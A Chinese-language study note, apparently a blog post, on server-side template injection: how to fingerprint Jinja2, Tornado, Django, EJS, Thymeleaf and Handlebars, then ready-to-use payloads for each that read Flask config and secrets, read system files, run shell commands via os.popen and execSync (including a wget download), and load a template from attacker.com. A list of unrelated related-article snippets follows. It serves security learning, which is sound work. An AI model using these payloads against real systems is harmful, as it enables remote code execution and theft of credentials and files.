ssti学习笔记(服务器端模板注入)
目录
一,ssti是什么
二,原理
所谓模板引擎(三列,可滑动查看)
三,漏洞复现
1,如何判断其所属的模板引擎?
2,判断清楚后开始注入
(1)Jinja2(Python)
针对 Flask 应用的攻击
读取文件
执行系统命令
加载并执行 Python 模块
(2),Tornado 模板引擎(Python)
信息获取类
读取文件
(3)Django 模板引擎(Python)
利用视图传递对象属性
绕过过滤器限制(若存在)
(4),EJS(JavaScript,用于 Node.js 的 Express 框架)
读取文件
执行系统命令
(5),Thymeleaf(Java,常用于 Spring Boot)
利用 Java 反射执行代码
利用 Spring 上下文获取 Bean
(6),Handlebars(JavaScript)
结合动态部分模板加载漏洞
结合 JavaScript 注入(若与 JavaScript 交互)
一,ssti是什么
SSTI 通常是指服务器端模板注入,攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器。
二,原理
- 模板引擎的作用是将模板和数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
- 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。
示例:搜索框中触发ssti
url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞
所谓模板引擎
编程语言 | web框架 | 模板引擎 |
Python | Flask | Jinja2 |
Python | Tornado | Tornado 模板引擎 |
Python | Django | Django模板引擎 |
Java | Spring Boot | Thymeleaf |
Java | Struts2 | FreeMarker |
JavaScript | Express(Node.js) | EJS |
JavaScript | Hapi(Node.js) | Handlebars |
PHP | Symfony | Twig |
PHP | CodeIgniter | Smarty |
不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。
注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)
三,漏洞复现
Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。
1,如何判断其所属的模板引擎?
(1),Jinja2(Python)
简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2
控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2
过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法
(2),Tornado 模板引擎(Python)
表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。
逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。
(3), Django 模板引擎(Python)
简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎
逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。
(4),EJS(JavaScript,用于Node.js的Express框架)
表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。
JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。
(5),Thymeleaf(Java,常用于Spring Boot)
变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。
条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。
(6),Handlebars(JavaScript)
变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。
部分模板调用测试:输入 { {> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
2,判断清楚后开始注入
(1)Jinja2(Python)
针对 Flask 应用的攻击
- 读取 Flask 应用的
FLAG
- 输入:
{ { url_for.__globals__['current_app'].config['FLAG'] }}
- 原理:
url_for
是 Flask 函数,__globals__
指向其全局命名空间,current_app
是 Flask 应用实例,config
存储配置信息,攻击者借此获取敏感的FLAG
。
- 输入:
- 执行任意 Python 代码(通过导入模块)
- 输入:
{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
- 原理:利用
__import__
动态导入os
模块,用os.popen
执行系统命令ls /
并读取输出。
- 输入:
- 获取 Flask 应用的所有配置项
- 输入:
{ { url_for.__globals__['current_app'].config.items() }}
- 原理:访问
config.items()
获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
- 输入:
读取文件
- 读取
/etc/hosts
文件- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
- 原理:与读取
/etc/passwd
类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
- 输入:
- 动态指定文件路径
- 输入:
{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
- 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
- 输入:
执行系统命令
- 查看当前工作目录
- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
- 原理:使用
os.popen
执行pwd
命令,返回当前工作目录。
- 输入:
- 查看系统进程信息
- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
- 原理:执行
ps -ef
命令,查看系统中所有进程的详细信息。
- 输入:
加载并执行 Python 模块
- 导入并执行
socket
模块- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
- 原理:通过
__import__
函数动态导入socket
模块,然后调用gethostname
方法获取主机名。
- 输入:
(2),Tornado 模板引擎(Python)
信息获取类
- 获取应用配置信息
- 输入:
{ { handler.settings }}
- 原理:在 Tornado 框架里,
handler
通常指继承自tornado.web.RequestHandler
的请求处理类实例,settings
是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
- 输入:
- 获取请求相关信息
- 输入:
{ { handler.request }}
- 原理:
handler.request
包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
- 输入:
读取文件
- 读取
/proc/version
文件(获取系统版本信息)- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
- 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。
- 输入:
(3)Django 模板引擎(Python)
利用视图传递对象属性
- 假设视图传递了
settings
对象获取数据库配置- 输入:
{ { settings.DATABASES.default }}
- 原理:尝试访问视图传递的
settings
对象中的数据库配置信息。
- 输入:
- 假设视图传递了
request
对象获取请求信息- 输入:
{ { request.META }}
- 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
- 输入:
绕过过滤器限制(若存在)
- 假设存在一个自定义过滤器限制了输出
- 输入:
{ { 'a'|add:'b'|add:'c' }}
- 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。
- 输入:
(4),EJS(JavaScript,用于 Node.js 的 Express 框架)
读取文件
- 读取项目根目录下的
package.json
文件- 输入:
<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
- 原理:使用 Node.js 的
fs
模块读取项目根目录下的package.json
文件内容。
- 输入:
- 读取用户主目录下的
.bashrc
文件(Linux 系统)- 输入:
<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
- 原理:通过
process.env.HOME
获取用户主目录路径,然后读取.bashrc
文件内容。
- 输入:
执行系统命令
- 创建一个新文件
- 输入:
<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
- 原理:使用
child_process
模块的execSync
方法执行touch
命令创建一个新文件。
- 输入:
- 下载一个文件(使用
wget
)- 输入:
<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
- 原理:执行
wget
命令从指定 URL 下载文件并保存到本地。
- 输入:
(5),Thymeleaf(Java,常用于 Spring Boot)
利用 Java 反射执行代码
- 获取系统属性
- 输入:
${T(java.lang.System).getProperties()}
- 原理:通过 Java 反射调用
System
类的getProperties
方法获取系统属性。
- 输入:
- 执行 Java 代码创建文件
- 输入:
${T(java.io.File).createTempFile('test', '.txt')}
- 原理:使用反射调用
File
类的createTempFile
方法创建一个临时文件。
- 输入:
利用 Spring 上下文获取 Bean
- 假设存在一个名为
userService
的 Bean- 输入:
${@userService.getUserById(1)}
- 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取
userService
Bean,并调用其getUserById
方法。
- 输入:
(6),Handlebars(JavaScript)
结合动态部分模板加载漏洞
- 尝试读取不同目录下的文件
- 输入:
{ {> ../../../../var/log/syslog }}
(假设应用未对路径进行严格验证,适用于 Linux 系统) - 原理:利用部分模板加载机制,尝试读取系统日志文件。
- 输入:
- 尝试加载远程文件(若应用存在协议绕过漏洞)
- 输入:
{ {> http://attacker.com/malicious_template.hbs }}
- 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
- 输入:
结合 JavaScript 注入(若与 JavaScript 交互)
- 假设 Handlebars 模板用于生成 JavaScript 代码
- 输入:
{ { '" + alert("XSS") + "' }}
- 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。
- 输入:
相关文章:
ssti学习笔记(服务器端模板注入)
目录 一,ssti是什么 二,原理 所谓模板引擎(三列,可滑动查看) 三,漏洞复现 1,如何判断其所属的模板引擎? 2,判断清楚后开始注入 (1)Jinja2&a…...
Docker 部署 RabbitMQ | 自带延时队列
一、获取镜像 docker pull farerboy/rabbitmq:3.9.9 二、运行镜像 docker run -d --name rabbitmq \n --hostname rabbitmq \n -p 15672:15672/tcp \n -p 5672:5672/tcp \n -v /wwwroot/opt/docker/rabbitmq:/var/lib/rabbitmq \n farerboy/rabbitmq:3.9.9 备注:…...
如何使用deepseek创建钉钉收费AI助理
1、打开deepseek,简单描述下自己的问题,勾选深度思考 2、deepseek给我生成了一大段提示词模板 3、打开钉钉-应用中心-找AI助理 4、点击立即创作 5、创作 默认创建的是免费上网,需要创建收费的话需要先申请,填一个表单内容和价格&…...
【STM32系列】利用MATLAB配合ARM-DSP库设计FIR数字滤波器(保姆级教程)
ps.源码放在最后面 设计IIR数字滤波器可以看这里:利用MATLAB配合ARM-DSP库设计IIR数字滤波器(保姆级教程) 前言 本篇文章将介绍如何利用MATLAB与STM32的ARM-DSP库相结合,简明易懂地实现FIR低通滤波器的设计与应用。文章重点不在…...
2025年日祭
本文将同步发表于洛谷(暂无法访问)、CSDN 与 Github 个人博客(暂未发布) 本蒟自2025.2.8开始半停课。 以下是题目格式: [题目OJ 题号] [来源(选填)] 名称 …… 题号 - 名称 题目:……...
torch_bmm验算及代码测试
文章目录 1. torch_bmm2. pytorch源码 1. torch_bmm torch.bmm的作用是基于batch_size的矩阵乘法,torch.bmm的作用是对应batch位置的矩阵相乘,比如, mat1的第1个位置和mat2的第1个位置进行矩阵相乘得到mat3的第1个位置mat1的第2个位置和mat2的第2个位置…...
ChatGPT提问技巧:行业热门应用提示词案例-文案写作
ChatGPT 作为强大的 AI 语言模型,已经成为文案写作的得力助手。但要让它写出真正符合你需求的文案,关键在于如何与它“沟通”,也就是如何设计提示词(Prompt)。以下是一些实用的提示词案例,帮助你解锁 ChatG…...
k8s中,一.service发布服务,二.dashboard:基于网页的k8s管理插件,三.资源服务与帐号权限
一.service资源对内发布服务Cluster IP对外发布服务NodePortIngress 二.dashboard:基于网页的k8s管理插件 三.资源服务与帐号权限一.service:用户无法预知pod的ip地址以及所在的节点,多个相同的pod如何访问他们上面的服务功能:1.服务自动感知:pod迁移后访问service的ip,不受影响…...
Python的那些事第十六篇:Python的网络爬虫技术
基于Python的网络爬虫技术研究与应用 摘要 随着互联网的飞速发展,网络爬虫技术在数据采集、信息挖掘等领域发挥着重要作用。本文详细介绍了Python环境下常用的网络爬虫技术,包括Requests库、BeautifulSoup库以及Scrapy框架。通过对这些工具的使用方法、…...
Linux第106步_Linux内核RTC驱动实验
1、了解rtc_device结构体 1)、打开“include/linux/rtc.h” rtc_class_ops是需要用户根据所使用的RTC设备编写的,其结构体如下: struct rtc_class_ops { int (*ioctl)(struct device *, unsigned int, unsigned long);/*函数指针ioctl*/ int (*read_time)(struct device *,…...
《XSS跨站脚本攻击》
一、XSS简介 XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名&…...
康谋方案 | BEV感知技术:多相机数据采集与高精度时间同步方案
随着自动驾驶技术的快速发展,车辆准确感知周围环境的能力变得至关重要。BEV(Birds-Eye-View,鸟瞰图)感知技术,以其独特的视角和强大的数据处理能力,正成为自动驾驶领域的一大研究热点。 一、BEV感知技术概…...
堆详解及C语言实现
堆结构与最大堆详解:从原理到C语言实现 1. 堆结构概述 1.1 定义与性质 堆(Heap)是一种特殊的完全二叉树数据结构,满足以下性质: 结构性:完全二叉树结构有序性:每个结点的值都≥(…...
基于STM32的智能鱼缸水质净化系统设计
🤞🤞大家好,这里是5132单片机毕设设计项目分享,今天给大家分享的是智能鱼缸水质净化系统。 目录 1、设计要求 2、系统功能 3、演示视频和实物 4、系统设计框图 5、软件设计流程图 6、原理图 7、主程序 8、总结 1、设计要求…...
python:csv文件批量导入mysql
1.导入sql文件到数据库中 mysql -u username -p要先创建一个空的数据库 CREATE DATABASE your_database_name;USE your_database_name;导入sql文件 source /path/to/your/file.sql;查看某个表格的结构,为后续数据插入做准备 DESCRIBE table_name;2.插入假数据到对应…...
第三十二周:Informer学习笔记
目录 摘要Abstract1 Informer1.1 预备知识1.2 模型框架1.3 实验分析 总结 摘要 本周学习的主要内容是Informer模型,Informer是一种专为长序列时间序列预测(LSTF) 设计的Transformer模型。相较于传统的Transformer,Informer采用Pr…...
计算机视觉核心任务
1. 计算机视频重要分类 计算机视觉的重要任务可以大致分为以下几类: 1. 图像分类(Image Classification) 识别图像属于哪个类别,例如猫、狗、汽车等。 应用场景:物品识别、人脸识别、医疗影像分类。代表模型&#…...
【python】matplotlib(animation)
文章目录 1、matplotlib.animation1.1、FuncAnimation1.2、修改 matplotlib 背景 2、matplotlib imageio2.1、折线图2.2、条形图2.3、散点图 3、参考 1、matplotlib.animation 1.1、FuncAnimation matplotlib.animation.FuncAnimation 是 Matplotlib 库中用于创建动画的一个…...
【Linux网络编程】之守护进程
【Linux网络编程】之守护进程 进程组进程组的概念组长进程 会话会话的概念会话ID 控制终端控制终端的概念控制终端的作用会话、终端、bash三者的关系 前台进程与后台进程概念特点查看当前终端的后台进程前台进程与后台进程的切换 作业控制相关概念作业状态(一般指后…...
Vue.js如何根据访问路径切换页面
Vue Router 在前端工程中,路由指的是,根据不同的访问路径,展示不同组件的内容。 Vue Router是Vue.js的官方路由。 Vue Router介绍。 要使用vue Router,得先安装 npm install vue-router4这里的4,指的是第4个版本 在s…...
Vue与Konva:解锁Canvas绘图的无限可能
前言 在现代Web开发中,动态、交互式的图形界面已成为提升用户体验的关键要素。Vue.js,作为一款轻量级且高效的前端框架,凭借其响应式数据绑定和组件化开发模式,赢得了众多开发者的青睐。而当Vue.js邂逅Konva.js,两者结…...
collabora online+nextcloud+mariadb在线文档协助
1、环境 龙蜥os 8.9 docker 2、安装docker dnf -y install dnf-plugins-core dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sed -i shttps://download.docker.comhttps://mirrors.tuna.tsinghua.edu.cn/docker-ce /etc/yum.repos.…...
linux基础命令1
1、linux目录结构——树型结构 根目录:/ 用户主目录(家目录):~或者 /home/edu 根目录下常见的文件夹: 2、常见的命令 1、pwd 查看当前目录 cd 切换目录 cd ~ 切换到家目录 2、ls 查看当前目录的文件信息 语法:ls [选项] [参…...
[LVGL] 在VC_MFC中移植LVGL
前言: 0. 在MFC中开发LVGL的优点是可以用多个Window界面做辅助扩展【类似GUIguider】 1.本文基于VC2022-MFC单文档框架移植lvgl8 2. gitee上下载lvgl8.3 源码,并将其文件夹改名为lvgl lvgl: LVGL 是一个开源图形库,提供您创建具有易于使用…...
Spring Boot整合MQTT
MQTT是基于代理的轻量级的消息发布订阅传输协议。 1、下载安装代理 进入mosquitto下载地址:Download | Eclipse Mosquitto,进行下载,以win版本为例 下载完成后,在本地文件夹找到下载的代理安装文件 使用管理员身份打开安装 安装…...
elasticsearch实战三 elasticsearch与mysql数据实时同步
一 介绍 elasticsearch数据不是一直不变的,需要与mysql、oracle等数据库的数据做同步。 本博客里涉及到的项目地址:https://www.aliyundrive.com/s/7bRWpTYsxWV 方案一: 同步调用,即操作mysql数据后,接着操作elastic…...
netcore openTelemetry+prometheus+grafana
一、netcore项目 二、openTelemetry 三、prometheus 四、grafana添加Dashborad aspire/src/Grafana/dashboards at main dotnet/aspire GitHub 导入:aspnetcore.json和aspnetcore-endpoint.json 效果:...
StochSync:可在任意空间中生成360°全景图和3D网格纹理
StochSync方法可以用于在任意空间中生成图像,尤其是360全景图和3D网格纹理。该方法利用了预训练的图像扩散模型,以实现零-shot生成,消除了对新数据收集和单独训练生成模型的需求。StochSync 结合了 Diffusion Synchronization(DS&…...
MybatisPlus较全常用复杂查询引例(limit、orderby、groupby、having、like...)
MyBatis-Plus 是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。以下是 MyBatis-Plus 中常用复杂查询(如 LIMIT、ORDER BY、GROUP BY、HAVING、LIKE 等)的引例: 1. 环境准备…...
大数据项目2:基于hadoop的电影推荐和分析系统设计和实现
前言 大数据项目源码资料说明: 大数据项目资料来自我多年工作中的开发积累与沉淀。 我分享的每个项目都有完整代码、数据、文档、效果图、部署文档及讲解视频。 可用于毕设、课设、学习、工作或者二次开发等,极大提升效率! 1、项目目标 本…...
win10的Unet项目导入阿里云训练
win10配置文件 annotated-types0.7.0 certifi2024.12.14 charset-normalizer3.4.1 click8.1.8 colorama0.4.6 contourpy1.1.1 cycler0.12.1 docker-pycreds0.4.0 eval_type_backport0.2.2 filelock3.16.1 fonttools4.55.3 fsspec2024.12.0 gitdb4.0.12 GitPython3.1.44 idna3.…...
Linux(20)——调度作业
目录 一、调度延迟的用户作业: 1、延迟的用户作业: 2、查看延迟的用户作业: 3、从计划中删除作业: 二、调度周期性用户作业: 1、周期性用户作业: 2、调度周期性用户作业: 3、用户作业格…...
DeepSeek赋能Vue:打造超丝滑进度条开发指南
前言:哈喽,大家好,今天给大家分享一篇文章!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 💕 目录 Deep…...
在CT107D单片机综合训练平台上,8个数码管分别单独依次显示0~9的值,然后所有数码管一起同时显示0~F的值,如此往复。
题目:在CT107D单片机综合训练平台上,8个数码管分别单独依次显示0~9的值,然后所有数码管一起同时显示0~F的值,如此往复。 延时函数分析LED首先实现8个数码管单独依次显示0~9的数字所有数码管一起同时显示0~F的值,如此往…...
清除el-table选中状态 clearSelection
如何在Vue应用中使用Element UI的el-table组件,通过this.$refs.multipleTable.clearSelection()方法来清除所有选中行的状态。适合前端开发者了解表格组件的交互操作。 // el-table绑定ref<el-table selection-change"selsChange" ref"multipl…...
【算法】动态规划专题⑥ —— 完全背包问题 python
目录 前置知识进入正题模板 前置知识 【算法】动态规划专题⑤ —— 0-1背包问题 滚动数组优化 完全背包问题是动态规划中的一种经典问题,它与0-1背包问题相似,但有一个关键的区别:在完全背包问题中,每种物品都有无限的数量可用。…...
论文笔记-COLING2025-LLMTreeRec
论文笔记-COLING2025-LLMTreeRec: Unleashing the Power of Large Language Models for Cold-Start Recommendations LLMTreeRec: 释放大语言模型在冷启动推荐中的力量摘要1.引言2.框架2.1项目树构建2.2以LLM为中心的基于树的推荐2.2.1推荐链策略2.2.2检索策略 3.实验3.1实验设…...
c++ haru生成pdf输出饼图
#define PI 3.14159265358979323846 // 绘制饼图的函数 void draw_pie_chart(HPDF_Doc pdf, HPDF_Page page, float *data, int data_count, float x, float y, float radius) { float total 0; int i; // 计算数据总和 for (i 0; i < data_count; i) { tot…...
【Unity】Unity中物体的static属性作用
Unity中物体的static属性主要用于优化游戏性能和简化渲染过程。 Unity中物体的static属性的作用 优化渲染性能:当物体被标记为static时,Unity会在游戏运行时将其视为静止的物体,这意味着这些物体的渲染信息不会随着每一帧的更新而变化…...
Rust 测试指南:从入门到进阶
1. 测试基础:#[test] 属性 Rust 测试的基本单位是函数。只要在一个函数前面标注 #[test] 属性,那么在运行 cargo test 时,Rust 会自动识别并执行它。例如,新建一个库工程 adder,cargo new adder --lib,在 …...
Elasticsearch 生产集群部署终极方案
Elasticsearch 集群部署 1.集群部署1.1 新增用户1.2 优化操作系统1.3 JDK1.4 elasticsearch1.5 开机自启动 2.安全认证功能2.1 生成CA证书2.2 生成密钥2.3 上传至其他节点2.4 修改属主、属组2.5 配置文件添加参数2.6 各节点添加密钥库密码2.7 设置用户密码 1.集群部署 1.1 新增…...
电路笔记(元器件):AD 5263数字电位计(暂记)
AD5263 是四通道、15 V、256位数字电位计,可通过SPI/I2C配置具体电平值。 配置模式: W引脚作为电位器的抽头,可在A-B之间调整任意位置的电阻值。也可将W与A(或B)引脚短接,A-W间的电阻总是0欧姆,通过数字接口调整电位器…...
如何在电脑后台定时进行自动截图?自动截图后如何快捷保存?如何远程查看?
7-2 有时候需要对电脑的屏幕进行在后台连续性的截图保存,并且要可以远程查看,无界面,以达到对电脑的使用过程进行完全了解的目的,一般用于对小孩使用电脑的掌握,如果父母在外地,不方便就近管理,…...
解决react中函数式组件usestate异步更新
问题:在点击modal组件确认后 调用后端接口,使用setstateone(false)使modal组件关闭,但是设置后关闭不了,在设置setstateone(false)前后打印出了对应的stateone都为true,但…...
skia-macos源码编译
1、下载git-hub 源码 2、下载依赖库 3、编译,注意选项 bin/gn gen out/release --args"is_official_buildfalse skia_use_system_expatfalse skia_use_system_icufalse skia_use_libjpeg_turbofalse skia_use_system_libpngfalse skia_use_system_libwebpfal…...
本地部署DeepSeek(Mac版本,带图形化操作界面)
一、下载安装:Ollama 官网下载:Download Ollama on macOS 二、安装Ollama 1、直接解压zip压缩包,解压出来就是应用程序 2、直接将Ollama拖到应用程序中即可 3、启动终端命令验证 # 输入 ollama 代表已经安装成功。 4、下载模型 点击模型…...
离线统信系统的python第三方库批量安装流程
一、关于UOS本机 操作系统:UOS(基于Debian的Linux发行版) CPU:海光x86 二、具体步骤 1、在联网的电脑上用控制台的pip命令批量下载指定版本的第三方库 方法A cd <目标位置的绝对路径> pip download -d . --platform many…...
群晖安装Gitea
安装Docker Docker运行Gitea 上传gitea包,下载地址:https://download.csdn.net/download/hmxm6/90360455 打开docker 点击印象,点击新增,从文件添加 点击启动 可根据情况,进行高级设置,没有就下一步 点击应…...
jmeter逻辑控制器9
1,简单控制器2,录制控制器3,循环控制器4,随机控制器5,随机顺序控制器6,if控制器7,模块控制器8,Include控制器9,事物控制器本文永久更新地址: 1,简单控制器 不…...
Spring统一修改RequestBody
我们编写RestController时,有可能多个接口使用了相同的RequestBody,在一些场景下需求修改传入的RequestBody的值,如果是每个controller中都去修改,代码会比较繁琐,最好的方式是在一个地方统一修改,比如将he…...